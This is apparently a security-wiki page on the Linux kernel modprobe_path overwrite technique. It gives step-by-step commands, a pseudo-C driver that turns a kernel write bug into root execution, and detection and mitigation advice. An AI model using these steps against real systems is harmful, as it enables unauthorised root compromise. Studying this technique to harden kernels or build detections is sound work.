Skip to content

modprobe_path overwrite

Use a kernel arbitrary write to replace the writable modprobe_path global with the path to an attacker-controlled script, then trigger module auto-loading so the kernel executes that script as root.

Mechanism

When the kernel meets a binary whose format it does not recognise, it tries to auto-load a binfmt handler by spawning a userspace helper. The program it spawns is named by a writable kernel global, modprobe_path, which defaults to /sbin/modprobe. The helper runs in a fresh kernel thread with full root credentials, so whoever controls the string controls a root-privileged execve.

Note

The invariant being broken is "the module loader path is trusted." modprobe_path is declared as an ordinary, non-const, writable array in kernel/kmod.c:

char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

On execve() of an unknown format, the chain is roughly:

do_execveat_common() -> bprm_execve() -> exec_binprm()
  -> search_binary_handler() -> request_module("binfmt-%04x", ...)
  -> __request_module() -> call_modprobe()

search_binary_handler() requests a module named after the first bytes of the file (e.g. binfmt-ffff when the magic is \xff\xff\xff\xff). call_modprobe() then builds the argv from the global and runs it via the usermode-helper machinery:

argv[0] = modprobe_path;   /* attacker-controlled */
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;

Because the helper executes with kernel-thread credentials (root), and the path is plain writable data, a data-only corruption (no control-flow hijack, no ROP) is enough: overwrite the string, trigger the loader, get root. This is why it is the favourite finisher for write primitives — it sidesteps prepare_kernel_cred/commit_creds calling conventions and survives KASLR as a fixed offset from the kernel base. See also call-usermodehelper-privesc and the analogous core-pattern-overwrite-privesc.

Walkthrough

You need an arbitrary-write primitive into kernel memory and the address of modprobe_path.

  1. Find the symbol. modprobe_path lives at a constant offset from the kernel base; on a debug box you can read it directly:
$ grep modprobe_path /proc/kallsyms
ffffffff8245c920 D modprobe_path

With KASLR, leak the kernel base (e.g. proc-kallsyms-symbol-address-leak or kernel-base-leak-via-ops-pointer) and add the known offset.

  1. Place the payload on disk. Two files: a root-run script, and a malformed "binary" with an unknown magic.
$ cat > /tmp/x <<'EOF'
#!/bin/sh
cp /flag /tmp/flag
chmod 777 /tmp/flag
EOF
$ chmod +x /tmp/x

$ printf '\xff\xff\xff\xff' > /tmp/dummy
$ chmod +x /tmp/dummy

!!! warning The helper is spawned with a minimal environment and no shell PATH guarantees, and modprobe_path is only KMOD_PATH_LEN (256) bytes — keep the path short (/tmp/x). The script file must start with a valid #! interpreter line and be executable, otherwise the kernel thread cannot run it. The dummy must have a magic the kernel does not recognise (4 non-#!, non-ELF bytes such as \xff\xff\xff\xff).

  1. Overwrite the global with your write primitive. Conceptually:
/* arbitrary_write(addr, buf, len) provided by the bug */
char newpath[] = "/tmp/x";
arbitrary_write(modprobe_path_addr, newpath, sizeof(newpath)); /* incl. NUL */
  1. Trigger the loader by executing the malformed file. Any of these forces the unknown-format path:
$ /tmp/dummy            # execve of unknown magic
sh: ./dummy: cannot execute binary file

The failed execve causes request_module("binfmt-ffff") -> call_modprobe() -> execve("/tmp/x", ...) as root.

  1. Collect the result.
$ cat /tmp/flag
flag{...}

??? example "Minimal end-to-end driver (pseudo-C around the bug's write primitive)"

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    system("echo -e '#!/bin/sh\\ncp /flag /tmp/flag; chmod 777 /tmp/flag' > /tmp/x; chmod +x /tmp/x");
    system("printf '\\xff\\xff\\xff\\xff' > /tmp/dummy; chmod +x /tmp/dummy");

    unsigned long mp = leak_modprobe_path();        /* via kallsyms/base leak */
    char path[] = "/tmp/x";
    arbitrary_write(mp, path, sizeof(path));         /* the kernel bug */

    system("/tmp/dummy 2>/dev/null");                /* fire the loader */
    system("cat /tmp/flag");
    return 0;
}

Detection

  • Auditd / fanotify rules on execve of modprobe_path where the value is not /sbin/modprobe (or the distro default) flag an active overwrite.
  • A modprobe invocation whose argv[0] points into /tmp, /dev/shm, or other user-writable paths is a strong signal.
  • Periodically read /proc/kallsyms (or a kernel watchpoint in a lab) for changes to the modprobe_path bytes; the legitimate value is stable across a boot.

Mitigation

  • CONFIG_STATIC_USERMODEHELPER=y redirects all usermode-helper spawns through a single compile-time constant path, ignoring modprobe_path entirely:
#ifdef CONFIG_STATIC_USERMODEHELPER
    sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
    sub_info->path = path;
#endif

When set (and the configured path is not writable), overwriting modprobe_path has no effect. - Disable autoloading of unprivileged binfmt modules (modules_disabled, or restrict request_module via LSM) so the unknown-format trigger cannot reach the loader. - The root cause is still the arbitrary write — kernel CFI, hardened allocators, and bug-class mitigations that prevent obtaining the write primitive are the real fix; modprobe_path is only the convenient final stage.

References